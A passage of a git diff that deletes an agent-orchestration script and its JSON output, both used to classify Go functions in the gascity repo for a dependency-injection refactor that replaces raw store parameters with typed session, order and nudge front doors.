-  description: 'Classify session/order/nudge call-tree functions for the front-door DI refactor (read-only)',
-  phases: [
-    { title: 'Classify', detail: 'one read-only agent per call-tree file' },
-  ],
-}
-
-// Read-only analysis. Each agent reads ONE cmd/gc file and classifies every
-// function whose body touches the raw `store` for a SESSION/ORDER/NUDGE object
-// op, so the main loop can drive a compiler-first signature refactor.
-
-const FILES = args && args.length ? args : [
-  'session_reconciler.go',
-  'session_reconcile.go',
-  'session_beads.go',
-  'session_lifecycle_parallel.go',
-  'session_sleep.go',
-  'cmd_wait.go',
-  'session_name_lookup.go',
-  'session_circuit_breaker.go',
-  'session_wake.go',
-  'session_bead_cycle.go',
-  'soft_reload.go',
-  'cmd_stop.go',
-  'cmd_session_wake.go',
-  'cmd_session_pin.go',
-  'cmd_session.go',
-  'cmd_prime.go',
-  'cmd_nudge.go',
-  'cmd_handoff.go',
-  'adoption_barrier.go',
-  'order_dispatch.go',
-  'cmd_order.go',
-  'nudge_beads.go',
-]
-
-const SCHEMA = {
-  type: 'object',
-  properties: {
-    file: { type: 'string' },
-    functions: {
-      type: 'array',
-      items: { type: 'string' },
-      description: 'one pipe-delimited record per function (see required format)',
-    },
-    rootEntries: {
-      type: 'array',
-      items: { type: 'string' },
-      description: 'composition-root entry points in this file that OPEN or RESOLVE the store and could construct the front door once (pipe-delimited: name|startLine|howStoreObtained)',
-    },
-  },
-  required: ['file', 'functions', 'rootEntries'],
-}
-
-const PROMPT = (file) => `You are analyzing ONE Go file for a dependency-injection refactor in the gascity repo.
-Worktree: /data/projects/gascity/.claude/worktrees/object-front-doors
-File: cmd/gc/${file}
-
-BACKGROUND. The repo has typed object front doors that wrap a raw beads.Store:
-  - session front door: \`sessionFrontDoor(store beads.Store) *session.InfoStore\` (also reached via setMetaBatch / closeBead / closeFailedCreateBead / session.* patch helpers)
-  - order front door: \`orders.NewStore(beads.OrdersStore{Store: store}) *orders.Store\`
-  - nudge front door: \`nudgeFrontDoor(store beads.NudgesStore) *nudgequeue.Store\` (also reached via ensureQueuedNudgeBead / findQueuedNudgeBead / markQueuedNudgeTerminal)
-  - work-assignment facade (RAW-BY-DESIGN, stays on beads.Store/WorkStore): \`workAssignmentForStore(beads.WorkStore{Store: store})\`
-Goal: every deep call-tree function that uses \`store\` ONLY for a session/order/nudge OBJECT op should take the typed front door instead of \`beads.Store\`, so it has no raw store in scope. Functions that ALSO need the raw store for WORK ops, by-id/federation resolution (resolveSessionID*, storeref, Get-by-id), graph (ApplyGraphPlan), or a documented raw-by-design read keep the raw store for that residual.
-
-TASK. Read the WHOLE file. For EVERY top-level function (and notable closures) whose body references a beads.Store value (a param named store/s/cityStore/etc., a local, or a receiver field) AND performs at least one of:
-  - a SESSION object op: sessionFrontDoor(...), setMetaBatch(...), closeBead/closeFailedCreateBead(...), store.Create of a Type=="session" bead, store.Get(sessionID) then reading .Status/.Metadata, any session.* MetadataPatch apply, resolveSessionIDAllowClosed-then-mutate, etc.
-  - an ORDER object op: orders.NewStore(...), CreateRun/CreateRunClosed/SetOutcome/SetCursor/CloseRun/RecentRuns, raw order-tracking Create/List/Close with order labels.
-  - a NUDGE object op: nudgeFrontDoor(...), ensureQueuedNudgeBead/findQueuedNudgeBead*/markQueuedNudgeTerminal, raw nudge bead Create/Close.
-emit ONE pipe-delimited record string into \`functions\`:
-
-name | startLine | exactSignature | objectOpsUsed(comma: SESSION/ORDER/NUDGE sub-ops) | otherRawStoreUses(comma from: NONE,WORK_LIST,WORK_UPDATE,WORK_READY,BYID_RESOLVE,GENERIC_GET,GRAPH,FEDERATION,RIG_STORES_MAP,OPENS_STORE) | verdict | storeParamName | calleesGivenStore(comma of in-file helper calls it passes the store to) | notes
-
-verdict is EXACTLY one of:
-  - SESSION_ONLY  : store used ONLY for session object ops -> convert the store param to \`sessions *session.InfoStore\`.
-  - ORDER_ONLY    : store used ONLY for order object ops -> convert to \`*orders.Store\`.
-  - NUDGE_ONLY    : store used ONLY for nudge object ops -> convert to \`*nudgequeue.Store\`.
-  - MIXED         : object op(s) PLUS other raw uses -> needs the typed front door AND a residual (name the residual in notes: keep raw store for WORK/by-id/etc., or take workAssignment).
-  - ROOT          : an entry point that OPENS/RESOLVES the store (opens via openStore*, receives cityPath and resolves, or is a cobra RunE/command handler) — the allowed composition root that should CONSTRUCT the front door once.
-  - RAW_BY_DESIGN : a documented raw exception (full session status/metadata resync e.g. session_reconciler.go ~line 342; session-START workdir/opt reads ~3844/3889; WORK-assignment probes already on the workAssignment facade; cooldown/cursor order runtime helpers). Explain which in notes.
-
-Also populate \`rootEntries\`: any function in THIS file that is a composition root (opens or resolves the store, or is a cobra command handler) where the front door could be constructed once — pipe-delimited: name|startLine|howStoreObtained.
-
-RULES:
-  - Be exhaustive: do not skip a function because it "looks trivial". Every function that touches store for an object op must appear.
-  - Quote the EXACT current signature (copy it).
-  - Do NOT edit anything. Read-only. Use grep/sed/Read freely.
-  - If the file has ZERO such functions, return functions: [] and rootEntries: [] with file set.
-  - Keep each record on ONE line (no embedded newlines).`
-
-phase('Classify')
-const results = await parallel(
-  FILES.map((file) => () =>
-    agent(PROMPT(file), { label: `classify:${file}`, phase: 'Classify', schema: SCHEMA })
-  )
-)
-
-const clean = results.filter(Boolean)
-return {
-  filesAnalyzed: clean.length,
-  filesRequested: FILES.length,
-  perFile: clean,
-}
diff --git a/engdocs/plans/infra-store-decouple/raw/frontdoor-di-map.json b/engdocs/plans/infra-store-decouple/raw/frontdoor-di-map.json
deleted file mode 100644
index feb850ee24..0000000000
--- a/engdocs/plans/infra-store-decouple/raw/frontdoor-di-map.json
+++ /dev/null
@@ -1,3052 +0,0 @@
-{
- "rows": [
-  {
-   "file": "session_reconciler.go",
-   "name": "markDrainAckStopPending",
-   "line": "58",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(DrainAckStopPendingPatch)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Store used solely to apply the drain-ack stop-pending session patch via the front door; then mirrors batch into in-memory session.Metadata. Convert param to sessions *session.InfoStore.",
-   "sig": "func markDrainAckStopPending(session *beads.Bead, store beads.Store, clk clock.Clock, stderr io.Writer) bool"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "finalizeDrainAckStoppedSession",
-   "line": "271",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(AcknowledgeDrain/CompleteDrain),GENERIC_GET-then-read.Status/.Metadata(store.Get line 342)",
-   "other": "WORK_LIST,GENERIC_GET,RIG_STORES_MAP,FEDERATION",
-   "param": "store",
-   "callees": "sessionHasOpenAssignedWorkForReachableStore,closeSessionBeadIfReachableStoreUnassigned,recordDrainAckAssignedWorkEvent",
-   "notes": "Front-door for the drain-ack finalize patch, BUT also: store.Get(session.ID) by-id resync of Status/Metadata (RAW residual), plus raw store+rigStores fan-out for assigned-work / reachable-store close. Needs sessions front door AND keep raw store (+rigStores) for the work/by-id/federation residual.",
-   "sig": "func finalizeDrainAckStoppedSession(cityPath string, cfg *config.City, store beads.Store, rigStores map[string]beads.Store, session *beads.Bead, template string, closeIfUnassigned bool, dops drainOps, dt *drainTracker, clk clock.Clock, rec events.Recorder, stderr io.Writer)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "reconcileDrainAckStopPending",
-   "line": "401",
-   "verdict": "MIXED",
-   "objops": "SESSION(indirect: passes store to queueDrainAckAsyncStop + finalizeDrainAckStoppedSession session patches)",
-   "other": "BYID_RESOLVE,WORK_LIST,RIG_STORES_MAP",
-   "param": "store",
-   "callees": "queueDrainAckAsyncStop,finalizeDrainAckStoppedSession",
-   "notes": "Drives the stop-pending decision: workerObserveSessionTargetWithRuntimeHintsWithConfig(store,...) resolves the session target by id (BYID_RESOLVE), then hands raw store to the async-stop + finalize session-op callees. Needs front door for the session ops AND raw store for the worker by-id probe + finalize residual.",
-   "sig": "func reconcileDrainAckStopPending(cityPath string, cfg *config.City, sp runtime.Provider, store beads.Store, rigStores map[string]beads.Store, session *beads.Bead, tp TemplateParams, desired bool, dops drainOps, dt *drainTracker, asyncStopTracker *asyncStartTracker, clk clock.Clock, rec events.Recorder, stderr io.Writer) bool"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "finalizeDrainAckStopPendingSessions",
-   "line": "434",
-   "verdict": "MIXED",
-   "objops": "SESSION(indirect via finalizeDrainAckStoppedSession + queueDrainAckAsyncStop)",
-   "other": "BYID_RESOLVE,WORK_LIST,RIG_STORES_MAP",
-   "param": "sessStore(unwrapped to store)",
-   "callees": "queueDrainAckAsyncStop,finalizeDrainAckStoppedSession",
-   "notes": "ALREADY typed at boundary: takes sessStore beads.SessionStore then `store := sessStore.Store`. Per-session worker observe (BYID) + finalize session-op fan-out. The session class is the front-door candidate here; raw store residual is the worker by-id probe + finalize work/federation.",
-   "sig": "func finalizeDrainAckStopPendingSessions(cityPath string, cfg *config.City, sp runtime.Provider, sessStore beads.SessionStore, rigStores map[string]beads.Store, sessions []beads.Bead, dops drainOps, dt *drainTracker, asyncStopTracker *asyncStartTracker, clk clock.Clock, rec events.Recorder, stderr io.Writer) int"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "reconcileSessionBeadsTracedWithNamedDemand",
-   "line": "936",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(RestartRequestPatch,SleepPatch,live_hash backfill)+SetMarker(sleep_intent),persistSessionCircuitBreakerMetadata,resetSessionCircuitBreakerState,markDrainAckStopPending,finalizeDrainAckStoppedSession,resetConfiguredNamedSessionForConfigDrift,silentRebaselineSessionHashes,recoverRunningPendingCreate,recordCurrentBeadIDOnWake,persistSleepPolicyMetadata,markIdleSleepPending,closeBead,heal/stability/churn/rate-limit patches",
-   "other": "BYID_RESOLVE,WORK_LIST,WORK_UPDATE,RIG_STORES_MAP,FEDERATION,GENERIC_GET",
-   "param": "sessStore(unwrapped: store := sessStore.Store, line 969)",
-   "callees": "healExpiredTimers,retireDuplicateConfiguredNamedSessionBeads,reconcileDrainAckStopPending,checkRateLimitStability,checkStability,checkChurn,healStateWithRollback,recoverPendingIdleSleep,reconcileDetachedAt,clearWakeFailures,clearChurn,recoverRunningPendingCreate,persistSessionCircuitBreakerMetadata,resetSessionCircuitBreakerState,markDrainAckStopPending,clearDrainTrackerForStopPending,queueDrainAckAsyncStop,finalizeDrainAckStoppedSession,sessionAttachedForConfigDrift,recordSessionAttachedConfigDriftDeferral,clearSessionConfigDriftDeferral,resetConfiguredNamedSessionForConfigDrift,relaunchAgentForLaunchDrift,silentRebaselineSessionHashes,shouldDeferNamedSessionConfigDrift,recordCurrentBeadIDOnWake,cycleAliveSessionForFreshReassign,persistSleepPolicyMetadata,markIdleSleepPending,emitSessionStrandedDiagnostic,closeBead,sessionHasOpenAssignedWork*ForReachableStore,sessionHasOpenAssignedWorkForConfig,sessionHasInProgressAssignedWorkForConfig,cachedSessionPeek,resolvePreservedConfiguredNamedSessionTemplate,closeSessionBeadIfReachableStoreUnassigned,workerObserveSessionTargetWithRuntimeHintsWithConfig,workerKillSessionTargetWithConfig,workerSessionTargetRunningWithConfig",
-   "notes": "THE central reconcile loop and the real conversion target. Takes the typed sessStore at the boundary then unwraps to a raw store for the entire fan-out. Does dozens of session front-door patches (restart/sleep/circuit-breaker/drift/rebaseline/marker) AND every other raw use: worker by-id probes (BYID_RESOLVE/kill/observe), work-assignment queries (WORK_LIST/WORK_UPDATE via reachable-store helpers + rigStores fan-out FEDERATION). Construct sessionFrontDoor once from sessStore and keep raw store(+rigStores) for the worker/work residual.",
-   "sig": "func reconcileSessionBeadsTracedWithNamedDemand(ctx context.Context, cityPath string, sessions []beads.Bead, desiredState map[string]TemplateParams, configuredNames map[string]bool, cfg *config.City, sp runtime.Provider, sessStore beads.SessionStore, dops drainOps, assignedWorkBeads []beads.Bead, rigStores map[string]beads.Store, readyWaitSet map[string]bool, dt *drainTracker, gate *providerHealthGate, poolDesired map[string]int, namedSessionDemand map[string]bool, storeQueryPartial bool, workSet map[string]bool, cityName string, it idleTracker, clk clock.Clock, rec events.Recorder, startupTimeout time.Duration, driftDrainTimeout time.Duration, stdout, stderr io.Writer, trace *sessionReconcilerTraceCycle, startOptions ...startExecutionOption) int"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "emitSessionStrandedDiagnostic",
-   "line": "2974",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).SetMarker(strandedEventEmittedKey)",
-   "other": "WORK_LIST,RIG_STORES_MAP,FEDERATION",
-   "param": "store",
-   "callees": "collectSessionAssignedWork",
-   "notes": "Front-door SetMarker stamps the throttle marker on the session bead, BUT store+rigStores are first fanned out via collectSessionAssignedWork (workAssignmentForStore work query across reachable stores) to compute stranded IDs. Needs sessions front door for the marker AND raw store(+rigStores) for the work collection.",
-   "sig": "func emitSessionStrandedDiagnostic(cityPath string, cfg *config.City, store beads.Store, rigStores map[string]beads.Store, session *beads.Bead, template string, rec events.Recorder, clk clock.Clock, stderr io.Writer)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "shouldDeferNamedSessionConfigDrift",
-   "line": "3323",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(indirect via boundedNamedSessionConfigDriftDeferral->recordNamedSessionConfigDriftDeferredAt)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "boundedNamedSessionConfigDriftDeferral",
-   "notes": "Only passes store onward to the bounded-deferral helper which applies a session metadata patch via the front door. No raw/work/by-id use. Convert to sessions *session.InfoStore.",
-   "sig": "func shouldDeferNamedSessionConfigDrift(session beads.Bead, store beads.Store, sp runtime.Provider, name string, clk clock.Clock, driftKey string) (string, bool, error)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "boundedNamedSessionConfigDriftDeferral",
-   "line": "3337",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(indirect via recordNamedSessionConfigDriftDeferredAt -> sessionFrontDoor.ApplyPatch)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "recordNamedSessionConfigDriftDeferredAt",
-   "notes": "Store used only to record the config-drift deferral stamp (session patch). Convert to sessions *session.InfoStore.",
-   "sig": "func boundedNamedSessionConfigDriftDeferral(session beads.Bead, store beads.Store, clk clock.Clock, driftKey string, reason string, limit time.Duration) (string, bool, error)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "recordNamedSessionConfigDriftDeferredAt",
-   "line": "3375",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(config_drift_deferred_at/key)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Pure session metadata patch via front door. Convert to sessions *session.InfoStore.",
-   "sig": "func recordNamedSessionConfigDriftDeferredAt(session beads.Bead, store beads.Store, t time.Time, driftKey string) error"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "clearSessionConfigDriftDeferral",
-   "line": "3385",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(clear drift-deferral keys)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Pure session metadata patch (clears four config-drift deferral keys) via front door. Convert to sessions *session.InfoStore.",
-   "sig": "func clearSessionConfigDriftDeferral(session beads.Bead, store beads.Store) error"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "recordSessionAttachedConfigDriftDeferral",
-   "line": "3403",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(attached_config_drift_deferred_at/key)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Pure session metadata patch (throttled attached-drift deferral stamp) via front door. Convert to sessions *session.InfoStore.",
-   "sig": "func recordSessionAttachedConfigDriftDeferral(session beads.Bead, store beads.Store, clk clock.Clock, driftKey string) error"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "sessionAttachedForConfigDrift",
-   "line": "3459",
-   "verdict": "MIXED",
-   "objops": "SESSION(by-id resolve only: sessionpkg.ResolveSessionBeadByExactID(store, session.ID))",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "(none; calls workerSessionTargetAttachedWithConfig with store)",
-   "notes": "No session WRITE/front-door patch. Store is used to (1) ResolveSessionBeadByExactID by id as a liveness pre-check and (2) feed workerSessionTargetAttachedWithConfig (worker by-id attach probe). This is a documented by-id/worker residual \u2014 keep the raw store (no front door needed; closest to RAW_BY_DESIGN by-id resolve, classified MIXED because there is no object-op write).",
-   "sig": "func sessionAttachedForConfigDrift(session beads.Bead, sp runtime.Provider, cityPath string, store beads.Store, cfg *config.City, name string) (bool, error)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "resetConfiguredNamedSessionForConfigDrift",
-   "line": "3608",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(ConfigDriftResetPatch + cleared deferral keys)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerKillSessionTargetWithConfig",
-   "notes": "Front-door applies the config-drift reset patch (rotates session_key, clears deferrals), BUT also passes raw store to workerKillSessionTargetWithConfig(\"\", store, sp, nil, sessionName) which resolves+kills the runtime target by id. Needs sessions front door AND raw store for the worker kill by-id residual.",
-   "sig": "func resetConfiguredNamedSessionForConfigDrift(session *beads.Bead, store beads.Store, sp runtime.Provider, sessionName string, alive bool, nextState string, now time.Time, stderr io.Writer)"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "silentRebaselineSessionHashes",
-   "line": "4032",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(sessionHashRebaselineMetadata six hash fields)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Pure session metadata patch rebaselining the six fingerprint fields via front door. Convert to sessions *session.InfoStore.",
-   "sig": "func silentRebaselineSessionHashes(session *beads.Bead, store beads.Store, agentCfg runtime.Config) error"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "relaunchAgentForLaunchDrift",
-   "line": "4069",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(indirect via rebaselineLaunchDriftHashes -> sessionFrontDoor.ApplyPatch)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "rebaselineLaunchDriftHashes",
-   "notes": "Provider relaunch (sp.Relaunch) does not touch store; the only store use is passing it to rebaselineLaunchDriftHashes for the launch-drift hash rebaseline session patch. Convert to sessions *session.InfoStore.",
-   "sig": "func relaunchAgentForLaunchDrift(ctx context.Context, sp runtime.Provider, store beads.Store, session *beads.Bead, name string, agentCfg runtime.Config, tp TemplateParams, storedHash, currentHash string, driftedFields []string, rec events.Recorder, trace *sessionReconcilerTraceCycle, stdout, stderr io.Writer) bool"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "rebaselineLaunchDriftHashes",
-   "line": "4134",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(started_config_hash/provision/launch/core_hash_breakdown)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Pure session metadata patch (launch-drift Core/sub-hash rebaseline, leaves live hash untouched) via front door. Convert to sessions *session.InfoStore.",
-   "sig": "func rebaselineLaunchDriftHashes(session *beads.Bead, store beads.Store, agentCfg runtime.Config) error"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "resolveTaskWorkDir",
-   "line": "3833",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "(none - WORK read, not a session/order/nudge object op)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Documented session-START workdir read (~line 3844): store.List(ListQuery{Assignee,Status:in_progress}) over WORK beads to find a work_dir to start the agent in. RAW work query, NOT a session/order/nudge OBJECT op; keep raw beads.Store (out of the front-door conversion set). Listed only because the task named it explicitly.",
-   "sig": "func resolveTaskWorkDir(store beads.Store, assignees ...string) string"
-  },
-  {
-   "file": "session_reconciler.go",
-   "name": "resolveTaskOptionOverrides",
-   "line": "3878",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "(none - WORK read, not a session/order/nudge object op)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Documented session-START option-override read (~line 3889): store.List over in_progress WORK beads to pull opt_<schema> overrides. RAW work query, NOT a session/order/nudge OBJECT op; keep raw beads.Store. Listed only because the task named it explicitly.",
-   "sig": "func resolveTaskOptionOverrides(store beads.Store, rp *config.ResolvedProvider, assignees ...string) map[string]string"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "healExpiredTimers",
-   "line": "566",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(ClearExpiredHoldPatch/ClearExpiredQuarantinePatch) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Two sessionFrontDoor(store).ApplyPatch calls (lines 570,580); store used ONLY for session-metadata patch. Convert to sessions *session.InfoStore.",
-   "sig": "func healExpiredTimers(session *beads.Bead, store beads.Store, clk clock.Clock)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "checkStability",
-   "line": "601",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:delegates session writes (recordWakeFailure quarantine/conv-reset, clearLastWokeAt SetMarker)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "checkRateLimitStability,recordWakeFailure,clearLastWokeAt",
-   "notes": "No direct sessionFrontDoor here; passes store only to in-file session-only helpers. Convert param to sessions *session.InfoStore and thread it down.",
-   "sig": "func checkStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, store beads.Store, clk clock.Clock, peek func(lines int) (string, error)) bool"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "checkRateLimitStability",
-   "line": "618",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:recordRateLimitQuarantine ApplyPatch via store",
-   "other": "NONE",
-   "param": "store",
-   "callees": "recordRateLimitQuarantine",
-   "notes": "Passes store only to recordRateLimitQuarantine (session ApplyPatch). Convert to sessions *session.InfoStore.",
-   "sig": "func checkRateLimitStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, store beads.Store, clk clock.Clock, peek func(lines int) (string, error)) (bool, error)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "clearLastWokeAt",
-   "line": "665",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:SetMarker(last_woke_at,\"\") via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Single sessionFrontDoor(store).SetMarker (line 666). Convert to sessions *session.InfoStore.",
-   "sig": "func clearLastWokeAt(session *beads.Bead, store beads.Store)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "recordRateLimitQuarantine",
-   "line": "673",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(RateLimitQuarantinePatch) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Single sessionFrontDoor(store).ApplyPatch (line 678). Convert to sessions *session.InfoStore.",
-   "sig": "func recordRateLimitQuarantine(session *beads.Bead, store beads.Store, clk clock.Clock) error"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "recordWakeFailure",
-   "line": "692",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(ConversationResetPatch),ApplyPatch(WakeFailureAccrualPatch),SetMarker(wake_attempts) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Three sessionFrontDoor(store) calls (lines 711,718,726). Convert to sessions *session.InfoStore.",
-   "sig": "func recordWakeFailure(session *beads.Bead, store beads.Store, clk clock.Clock, agentIdentity string)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "clearWakeFailures",
-   "line": "732",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(wake_attempts/quarantined_until clear) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Single sessionFrontDoor(store).ApplyPatch (line 743). Convert to sessions *session.InfoStore.",
-   "sig": "func clearWakeFailures(session *beads.Bead, store beads.Store)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "checkChurn",
-   "line": "760",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:SetMarker(last_woke_at,\"\") via sessionFrontDoor(store) plus delegates recordChurn/clearChurn",
-   "other": "NONE",
-   "param": "store",
-   "callees": "recordChurn,clearChurn",
-   "notes": "One direct sessionFrontDoor(store).SetMarker (line 766) plus passes store to session-only helpers recordChurn(789)/clearChurn(824). Convert to sessions *session.InfoStore.",
-   "sig": "func checkChurn(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, store beads.Store, clk clock.Clock) bool"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "recordChurn",
-   "line": "789",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(ConversationResetPatch),ApplyPatch(ChurnAccrualPatch),SetMarker(churn_count) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Three sessionFrontDoor(store) calls (lines 801,809,819). Convert to sessions *session.InfoStore.",
-   "sig": "func recordChurn(session *beads.Bead, store beads.Store, clk clock.Clock, agentIdentity string)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "clearChurn",
-   "line": "824",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:SetMarker(churn_count,\"0\") via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Single sessionFrontDoor(store).SetMarker (line 828). Convert to sessions *session.InfoStore.",
-   "sig": "func clearChurn(session *beads.Bead, store beads.Store)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "healState",
-   "line": "891",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:delegates state-metadata ApplyPatch via healStateWithRollback",
-   "other": "NONE",
-   "param": "store",
-   "callees": "healStateWithRollback",
-   "notes": "Thin wrapper; passes store only to healStateWithRollback (session ApplyPatch). Convert to sessions *session.InfoStore.",
-   "sig": "func healState(session *beads.Bead, alive bool, store beads.Store, clk clock.Clock)"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "healStateWithRollback",
-   "line": "902",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(healStatePatchWithRollback batch) via sessionFrontDoor(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Single sessionFrontDoor(store).ApplyPatch (line 922); guards on session.Status==\"closed\" (read of bead already in scope, not a store.Get). Convert to sessions *session.InfoStore.",
-   "sig": "func healStateWithRollback(session *beads.Bead, alive bool, store beads.Store, clk clock.Clock, startupTimeout time.Duration, rollbackAvailable bool) map[string]string"
-  },
-  {
-   "file": "/data/projects/gascity/.claude/worktrees/object-front-doors/session_reconcile.go",
-   "name": "computeWorkSet",
-   "line": "419",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "NONE (no session/order/nudge OBJECT op)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "(passes store to out-of-file prefixedWorkQueryForProbeWithEnv)",
-   "notes": "Does NOT perform any session/order/nudge object op. store flows only into prefixedWorkQueryForProbeWithEnv->probeSessionNameForTemplate->lookupSessionName(store) \u2014 a session-NAME resolution read for the legacy work_query probe path. RAW-BY-DESIGN (work_query probe / session-name resolve). Keep raw beads.Store; no front-door conversion. Listed for exhaustiveness.",
-   "sig": "func computeWorkSet(cfg *config.City, runner ScaleCheckRunner, cityName, cityDir string, store beads.Store, sessionBeads *sessionBeadSnapshot, stderr io.Writer) map[string]bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "reopenClosedConfiguredNamedSessionBead",
-   "line": "296",
-   "verdict": "MIXED",
-   "objops": "SESSION:FindClosedNamedSessionBeadForSessionName-then-mutate,sessionFrontDoor.SetStatusOpen,setMetaBatch,EnsureAlias/SessionNameAvailableForOwner",
-   "other": "NONE",
-   "param": "store",
-   "callees": "setMetaBatch",
-   "notes": "session-resolution-then-mutate; uses session.* helpers (FindClosedNamedSessionBeadForSessionName/EnsureAliasAvailableWithConfigForOwner/EnsureSessionNameAvailableWithConfigForOwner) that still take raw beads.Store, so it needs the front door PLUS the raw store for those identifier/lock helpers. Residual = raw store for session.* resolution/availability helpers until those move behind the front door.",
-   "sig": "func reopenClosedConfiguredNamedSessionBead(\n\tcityPath string,\n\tstore beads.Store,\n\tcfg *config.City,\n\tcityName string,\n\tidentity string,\n\tsessionName string,\n\tstate string,\n\tnow time.Time,\n\textraMeta map[string]string,\n\tstderr io.Writer,\n) (beads.Bead, bool)"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "retireDuplicateConfiguredNamedSessionBeads",
-   "line": "401",
-   "verdict": "MIXED",
